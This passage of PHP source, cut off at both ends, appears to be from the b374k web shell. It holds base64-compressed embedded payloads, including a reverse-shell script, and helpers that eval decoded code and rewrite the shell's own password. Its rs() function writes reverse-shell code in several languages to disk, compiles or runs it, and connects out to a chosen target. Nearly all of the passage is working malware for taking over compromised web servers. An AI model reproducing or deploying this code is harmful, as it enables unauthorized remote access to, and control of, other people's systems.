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"; $s_rs_php = "7VVNb+M2ED3bgP+DlhUQCVUsyy6wQFxmL+2xwKIt0MMmFWSKsghLIsuhai+a/PcORcnWOk6yaLe9tDBikzOcx/l4fPn2nSrVbPqVVxqj4CaOmcz5fCvltuJzJutYxZvV229211DyqopnU6611KnmSmojmm2wCNezKXCTGlHztBK1MM4mN6moVSWYMGlRtVAG1jqb+ibTW26oD6kGt14frUD5QVWYQkA8EvVGG+czoMlq9dYu9xlt2qqyS35aQkkJBmNa3s/f//gDPRiu6/X7nxJ6dee//+W726t170bbOt6IJobSuxbEBteUdGV6XZnejcdk03BmeH7XkC5tUQRMto0JhkxDSpPwj9l04ivqH+uY+JgG6RYGMUWT280j9q0CfgljeYYBHxb3Pc7RktwfATO26wG7lIq2YUbIJuUHAQaCK8UaU6WF1LursEcWOT1ZuyFMMLKz0+skxEgTJGOzMy0Gk5IgDimOGEQehGcxQyKYXF+uuxUoGM2zOgXJdsgO4Pp3rgNimEKSLebd54bMfRX5SKlGdj8Y0906xPa0ki22DKKVS8lnZ9gZY1zZE0PG6Dayknu8ENoN7gIkedo2Wc2DMFpEqxDLIHvRuGQnxV4LwwOfRX49x46zPRY6J7ekA5zsS1GhV72htMhwjC7Izqyw48E4d65rlubbtM4MKwMSs/zOCz78egf3X4exQD5jsVqHffzEz3OK+368Ll5AmgsdoCsMWTkse78v6Tg7Z33svnt6GS3qcfm+6kq18yLew4P3jP+3Fv2ht8Gu7tZHPA/v4wdbOV6H72D+9PJR56TLskunYJUEfmzMsHUDsics/JPWu8N+DjTTOvsYLOitWxAlFCcR0SSMknPjHo3LC8YeTWmqtGSpVLzBDMoI8XEQQjk/9uwN9lxzkK1mtlacz+hJjKm4qZBvVvNsOD7TaPHKkeT1I8uXj7DB6zhodDuwzz5+Lgvb44cHt3JXhuFojL7O+mbaDvc59Rf3rDreW6HeBRgQocDia8wiq6wnZosmPSHp7MRiQQtEyDs7g4Grw2D7VvkiHNP1E7whrYugg/MpMnsVdPkS6PKzQB/P+Dti9rB0FX66T872Q7c7Kg52PTyH078HJ6NW5AcZLazIOfKWnYDwBv+OYvg31A7+otrBf17t4LLavSBv8L+8XToCr8sbfKa8wReTN3hGNODflTf4J+TtHPQ5efsimvbu9k8="; $s_favicon = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKYSURBVDjLnZPJT1NRFMb5G1wDHV5boNiqdHrvFYolCAtsGSSWKpMFKhYqlDI6oAEKaVJwCIgSphaKtLYWCgSNBgRjMNHoxsSFS3cmJmA0NMTw+R6JKKZl4eJL7sm953fOd3JPHIC4WMpcppG5SGnZc8ZjVVF6QLn975sDgfaZmvg71oRJZIRUYcuAnq/2KWroGfm3QwEn2YpLVPPvOD2oiqj9yq/mGznegl56mx6T7ZbY1M6YAM0CuZkxT0b2Wg6QW/SsApRXDsotR+d6E9Y/h9DuqoCuJq0lKoDxqU1/pITGR27mBU4h+GEcTz5OY+ClA5JbyahYzof/9TBO9B/FcWcqpA4xU3We3GJ87ntnfO5meinMvruNnqcmXA2XoDVcCc0wCYkzBaZpA7ILRJ/2O2B87jA+QT9UeDRe8svZYAG8b/txc6kc9mA+yqayYPQXwvdmBEOrA5B2p0BtFIYOWKCm5RukWwZyXIbA+0F0LpaiKaBHmVsLw4we99ccsM8a8GClF5JOMcQdou8prULrgRmQo7KI0VcE13MrGv06lE5kodhzGvdWu2GdKkTVWC4DcELcJkKyXbCb1EhAVM//M0DVUNqP2qAJd1baUDaZjTMTeXAttsPi0cM0mgvHvA0NkxYk2QRIrieOsDmEmXttH0DfVfSluSToWmpD8bgOroUOWNw6VI7koGfOBuq6EqLLTNU6ojrmP5D1HVsjmrkYezGIrlA9LjKgnrlGXJlpgbCOD0EtD0QNN8I3cZqjAlhJr4rXpB1iNLhrYffUQWoT7yUKzbxqJlHLq0jc5JYmgHMunogKYJVqF7mTrPyfgktMRTMX/CrOq1gLF3fYNrLiX+Bs8MoTwT2fQPwXgBXHGL+TaIjfinb3C7cscRMIcYL6AAAAAElFTkSuQmCC"; $s_arrow = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAACXBIWXMAAAsSAAALEgHS3X78AAAEYElEQVRYw8VXS0xcVRj+z7kv5tF5MPfOo1AgkFBKoQPuFAyxstKkcWHjGhOjcacxujMxaqtx48b4iDExxiZuXBVdtEURN00qDBMgTUOmnTEMc+/ce4d5c+k957gZEKYCd5DSb3tOzv+d//0hcACO47hgsL07HA5fDIfDkz6ffxQAogDgblypMcZypVIpYRj6DVVVZ0zTSBNCyGFvo4MOMca8LMsjvb19r8uy8iLGOAIA+JA3KaVU1XV9OpVa/VrX9QSl1G6ZgM/ni5w7N/iuooSnMMZBOAIopQVN0767e3fls1KppDoigBCCrq6ukf7+gS9cLtfTh3nJAVi9Xr+dTCbf1LTcAmNsb3ibjXd394wPDQ1fE0UxfgzGAQCQIAid0Whs8uHDrflisZjZl8Dp052jw8PxazzP9cExA2PcHgopE7Va7Y9yuZR7hIDP54uMjj71gySJF+AxAWPcHgwGh3U9f92yrOoOAYwxF4+PvB8IBF9u0e02AFAHlbEDQRA63W43zWbXf2eMMQwA0NHROaoo4VdbeYgxZmUy6SuZTPojxthmK46QZeU1WQ5d2O4x3MDA4Ader3esFePp9IMrS0tLn2iaNieKIvH7A88ghHhHWYmQWxQltL6e/ZULheTe/v7+qwjhU60YX15e/pQQ22KMEsMwbrdKwuVyxQoF82eup6fvcigUesVJ7Bljm+n0g6vbxnc1HKLrrZFACHksy1rhBgfPv9fW1jbk8OePGP/3fIeE7fcHxhyQQBijOhePj3wIAHIrbt//Xmue4HmB586eHfgYAKSj/vz/eAJjLPAA4DlonhSLpe9VVfsxGAyGd8d8Y6OgUkrJdh8JBIIRjPFOY1NV7adAINgRCATeOKC8vejSpZfs5pa8+0MAUGSM7RmnlmXlZ2d/m7AsKw8AIEmSMjHx3KwkSUpTovEA4D8gwQkPAJXGpf2mZQAh1JzBpOlXGCHUjhCSW+zOFWzbdg6eEGzbXseVSnnxSRGoVMqLWNfNm42BctIghmHcxJqWu0UpOfEwUErVfF6bwYWCmdZ1Y/qkCei6Pm0YRhoTQkgqtfoVpdR0vGMhwKIoKZIkRSRJioiipCDkfJRTSo1UavVLQgjhG2wW83nt20gk+o6TnUAQxNDY2PgMY4w2yhILghByat80jW8Mw0jubESMMVaplJORSHRcEIQzDiYZ4jjOw/O8l+d5L8dxHtTcLPbB5mb9z0Ri4a16vV7ZsxNallWtVqt/xWKxixjj0GNJe0LuLSzMTxmGfv8/t+JarapubW3Ny7Ly7HGTsG373srK8lQ2u3Zn37UcAKBYLP5tWZtzPp9vUBDEM8egDWi1Wp1bXExMZbNrdw4UJrtIqLmcel0UJdvj8Z7HGLmPVuvEWFtb+zyRWHh7Y6Nw/yjilJNlpSFO5RcwxjGH4nRd1/VfdolTciR13CTPu8Lh8POyLE96vafiPM9HAWB7kS3btp2rVMpJ0zRvqKp6yzSNjBN5/g/C3ULDeIdIrQAAAABJRU5ErkJggg=="; $s_dark_cb = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAeCAYAAADzXER0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAASdJREFUeNrsk0GKwjAYhZNJqYviQpDKLOcY3sOFIF5DFF0KgjeYAwizmDuNOxHcFrGlje9pA1KbNOqshvnh2YD58v6m75dxHIdCiAk0gt5Fc+2gDbQO8DNTSk1D1BtKSikoWxVF0U7TdJ5lmSI8BtfCARKsoFyw1poeLcBjwl0aEgqCwAma4n5yhC+AceSzqdD69RAD+zjedSBeqH/4CfiA74bgaG+o3HxQURR1sOgjnqpMDv+0ikZJkpzyPP9kwlbIaQgNsO55GO+hb2hp3vnI1Hl2XZT7xe+PJNbWYWgcyao7L+p22h4ayephdyPJVl3v+jFcuhNmg+tAazxvN9tA86m83H6+Fm5n3mpd49sSlDaYN3jJb8WFazMy2rftujb/yEieBRgAZHG/OeGef6MAAAAASUVORK5CYII="; $s_bright_cb = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAeCAYAAADzXER0AAAACXBIWXMAAAsSAAALEgHS3X78AAABP0lEQVQ4je2TsUoDQRCGv5m93RRBLBIQO/NOFgHJa4iiZUDwNUSx8J0s5SCFkkJy3M5aJBfwLrm7oI3gD8sWO9/+O+z8kud5AC6BC+CUbr0Bj8B9BlzHGK+KoghmpiklUkp7SVU9CiHceO9dBsyKohjEGMXMMLNWWETUzAbe+1kGjM1MzIyyLFvBSmYmwDgDSCltHc2sE1bV9V7BfRwblxxM/MM/gxeqmkSkNyQiCVgo8BBCWDnnkoigqq3LOZeGw+EKeMqAO+998N6fAyc9jHPgBZhXPX8C3XO5lm3q+f1Ixhh3QUCPSNbdReRb2g6KZP2yRiRjjK29vj7fNlupO/QFG/Cu4n0grL+ql9tkOm93FhF2PfxsA9bPtrCqIiJIzWUynVNFph4dyfP8fblcHpdlSTUkXVJVRqPRxx+N5BfD5OFvXtL9jAAAAABJRU5ErkJggg=="; $s_style = "rVbLjpswFP0VqqhSH4AgSTMzoH5Cl11VXRgwwRqwkTGdZBD/Xj/BgJNppbE3Drm+z3PP9ZehJJgFJWhQfU1+Zj1mvfeDYOJ3kKIyHTNSXIcM5M9nSnpcJLtIrlRe69ArTOJ9e0lzUhOa7Eq51J8vEJ0rlhy58FjRISO0gDSJ24vXkRoV3m4vVzqCwdw+y0PK4IUFBcwJBQwRnGCCIRdLKvIH0mFpamwpHFpQFAifk8h75L6MJaHNUKCurcE1QbhG4joDWQ09VvntkPe04yoKWIK+Zum4awDCiyBjudKgIa+BcjygoEB9l8QRt+D49IIKVvFj9DE13vC8KH92FQRcfpBxgRqdcVLDkqUNoGeEk2i6EU2yHiuGe39X8TBXYC8c4PnOnhELGAW4ExlIKGGAwU9BfAgPDwU8f1bx3BO4b9IDfggvLU8/rFHHVD08sK7IroG4d6XTaPdEZo4yMxR2vATDfyR6iyMDG1HnoFKoi09CdOuCdhXINTukgGOCPprChSJ0hEui0RuIsrlMa0UnS4mIUSiWnihNLKs7j9FB+7gXKeAZZCgHtcZFg4qi5mgNz+DKs23jXZuye+tB9JYUepfq15AxHmTXglxHwLWLYjZoUc79k9jpv3StQ+WKOd7Fcwd+jhv4iC8bgM+1VoFqkrHDPZzEvu3oW37O/48hwm3PXv2wpaRpmR+yCwMUAle3aKBHJoqMMEYaG32HJ7HvU7EFR25emR22GDJ+WDSmUXp4iORV5XnWs2Flb+H6k9hrZNyk/qn/JBkYbhkcXCrKFM0inHTcQ2IS4Px5M2/aus0Xrl5kpE1Xk2VWX22SuOgQZcHcPk0gm+5TB9DiR7E/oKYllAHMJ1PYwYbP5CuaxpkM00XToeApT045O4HLFjjdJVCtVuXaqH7U1RfKK5/HvfXYwUlK/u0aaMlqbw/HHGJOGjauv61xlou9ZpfTpuWtL1sXXGEv5kAczbFPUy6XS9Augi8lcmb7ZrjWwFGQN0r+JVeOxNvotQfPUnnOE8lTOj2T4ngmvWtGLu8zfm+n8bg0J6p9M9ajXGsG2QLeMx2JCUPlApTmktahH6xbYKxRq40cFvDXvnv72diMBa16DEtC2PKBR4VaG8IieY5pqDWtCGP9bPBV5vjJRtsoOfkXu7bwe17B/JmL/A7zrgvML++rV4MM1vKjPBkQqKeMfDmaJ5NosuWrOchqkj8vH1bLVgwobCFgnJb0yf6vJR2S3MyrdeOho5/iLUGy5d+OKJEHWDgic1sOpMeqi33NNrE5UP9Ng0vmHf8C"; $s_mime_types = "dZThdqMgEIX/7zn7DvMC2jZ62t3HmQgaGkepCDFvvxeNis32xx3huwMYmUkwSvcvRWMtIfz+Fbb5CeC0gsvp/Y1iSEARQZGAMoJyBZ9WN/Rpm7ADoUWNrEw+T7TIbmeJLemhgNCUu4EdH2EekLwh47Sd0DcN9fuBX95U19GIpq+RpN946FSudKXziyIfLlC4PHnSn02r4Un05cm3ca2Nnn3yXPRc9NyTN0+jFXV8pXDO63gmBimvw0hQiuJH8ENLMnmS0h8sl9mW74Nmdc9FK8O5vQeC0iyc7fP4kX3w8UUOWwQTekJY2U2fhWJYwZTVuBooAa0hKAXIaJMMibeZLhEeh95dmeQK51ooBJfYHe64axLgMnY1LZoOPPRngg7shneWbyQAhW9sAjvudgtg4cCWW+OQ/EDXmAxFZTTNMTFwjIvHsFemf2FlKyHEFZzZmYrYk+vUysQoQwg0D6480CBmM5dm4H2+tAC+HLoUioMCjYBnsWUtzcAUn85OK3aFELRNTXslhHW+1ek8RWlwLA8+2KYxI7fZzXTKke6Pawcm6IBGR9A3FJsPj4tKeesr3Y156E2lqQ029f5b2IzCPhzWeT1wjh/Q2vLP6yttox+SPsqPR1Ic/ZD0933dKY7SpMFYgla0dsr2SlPGjLvmKgGmRgGbWXNIvIprgnZQt1gew46StkmO2f4RCp9A1DKjlnk6MmHUfLLYdhk+a7tc+cBCww8mbsA3pkNx2j3hxmgr3up9EprkHw=="; $s_sortable_js = "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"; $s_domready_js = "VVJNb9swDP0riQ6GBAjOetglheBD19uGHrpbkAKaRFcqZMmQ6HSB5/8+2mm+Lpb5yPf4SGndDtGgT5GDRDHisYfUrrpkhwBrxYZoofURLGtOWA1/+5SxKORi+1V9KlGKnbVYVd2lat1ZSqc/H2CQNSeQIwk4X3awn8UmzmzqMmh7ZPJqSozn/1U/R049PH46H4CDwro43xJXAPEPOq9Q7fYyyqzWD9Irm8zQQURZlK/PwXOABUuqEPZqcgpBDor9ePn1lCJS6mfSlgaWWjFt7fNhhnyhDGRyRmPExWVBjWCcju/AZFBsAV9nkEmjUrN5C4vQvzez2V4Cs5FOmRqhIPe7sBePGXDIceV3el9V85cPMqrLBsTo6wxdOsCdk7lIZiF7mnw+E3FrjaiNW+p4ey+yIRc3XauK00rgrnwRE5OQQO4v1CjGAqFdK0x945o4X3vdD8VRZnvTAPNxvG6UswAtMjEZjcbRVY9fYxbA376DNFDLKxlIbJLfv4kpzi9BTNvbF+AauHYFMU3iPw=="; function clean($arr){ $quotes_sybase = strtolower(ini_get('magic_quotes_sybase')); if(function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()){ if(is_array($arr)){ foreach($arr as $k=>$v){ if(is_array($v)) $arr[$k] = clean($v); else $arr[$k] = (empty($quotes_sybase) || $quotes_sybase === 'off')? stripslashes($v) : stripslashes(str_replace("\'\'", "\'", $v)); } } } return $arr; } function fgc($file){ return file_get_contents($file); } function kript($plain){ return md5($plain); } function changepass($plain){ $newpass = kript($plain); $newpass = "\$s_pass = \"".$newpass."\";"; $con = fgc($_SERVER['SCRIPT_FILENAME']); $con = preg_replace("/\\\$s_pass\ *=\ *[\"\']*([a-fA-F0-9]*)[\"\']*;/is",$newpass,$con); return file_put_contents($_SERVER['SCRIPT_FILENAME'], $con); } function get_code($t, $c){ global $s_self; $c = gzinflate(base64_decode($c)); if($t=="css"){ return ""; } elseif($t=="js"){ return ""; } } function showcode($raw){ $c = gzinflate(base64_decode($raw)); ob_get_contents(); ob_end_clean(); ob_start(); eval("?>".$c); $s_res = ob_get_contents(); ob_end_clean(); echo $s_res; die(); } function adds($s_s){ global $s_win; return ($s_win)? addslashes($s_s):$s_s; } function cp($s_p){ global $s_win; if(@is_dir($s_p)){ $s_x = DS; while(substr($s_p, -1) == $s_x) $s_p = rtrim($s_p, $s_x); return ($s_win)? preg_replace("/\\\\+/is", "\\", $s_p.$s_x):$s_p.$s_x; } return $s_p; } function swd($s_p){ global $s_self; $s_ps = explode(DS,$s_p); $s_pu = ""; for($s_i = 0; $s_i < sizeof($s_ps)-1; $s_i++){ $s_pz = ""; for($s_j = 0; $s_j <= $s_i; $s_j++) $s_pz .= $s_ps[$s_j].DS; $s_pu .= "".$s_ps[$s_i]." ".DS." "; } return trim($s_pu); } function hss($s_t){ return htmlspecialchars($s_t, 2 | 1); } function ru($str){ return (is_array($str))? array_map("rawurldecode", $str):rawurldecode($str); } function pl($str){ return hss(rawurlencode($str)); } function pf($f){ return "\"".$f."\""; } function cs($s_t){ return str_replace(array(" ", "\"", "'"), "_", $s_t); } function ss($s_t){ return rawurldecode($s_t); } function notif($s){ return "
                ".$s."
                "; } function rs($s_rstype,$s_rstarget,$s_rscode){ $s_result = $s_fpath = ""; $s_fc = gzinflate(base64_decode($s_rscode)); $s_errperm = "Directory ".getcwd().DS." is not writable, please change to a writable one"; $s_errgcc = "Unable to compile using gcc"; $s_errjavac = "Unable to compile using javac"; $s_split = explode("_", $s_rstype); $s_method = $s_split[0]; $s_lang = $s_split[1]; if($s_lang=="py" || $s_lang=="pl" || $s_lang=="rb" || $s_lang=="js"){ if($s_lang=="py") $s_runlang = "python"; elseif($s_lang=="pl") $s_runlang = "perl"; elseif($s_lang=="rb") $s_runlang = "ruby"; elseif($s_lang=="js") $s_runlang = "node"; $s_fpath = "b374k_rs.".$s_lang; if(@is_file($s_fpath)) unlink($s_fpath); if($s_file = fopen($s_fpath, "w")){ fwrite($s_file, $s_fc); fclose($s_file); if(@is_file($s_fpath)){ $s_result = exe("chmod +x ".$s_fpath); if($s_runlang=="node"){ if(check_access("node")!==false) $s_result = exe($s_runlang." ".$s_fpath." ".$s_rstarget); elseif(check_access("nodejs")!==false) $s_result = exe($s_runlang."js ".$s_fpath." ".$s_rstarget); } else $s_result = exe($s_runlang." ".$s_fpath." ".$s_rstarget); } else $s_result = $s_errperm; } else $s_result = $s_errperm; } elseif($s_lang=="c"){ $s_fpath = "b374k_rs"; if(@is_file($s_fpath)) unlink($s_fpath); if(@is_file($s_fpath.".c")) unlink($s_fpath.".c"); if($s_file = fopen($s_fpath.".c", "w")){ fwrite($s_file,$s_fc); fclose($s_file); if(@is_file($s_fpath.".c")){ $s_result = exe("gcc ".$s_fpath.".c -o ".$s_fpath); if(@is_file($s_fpath)){ 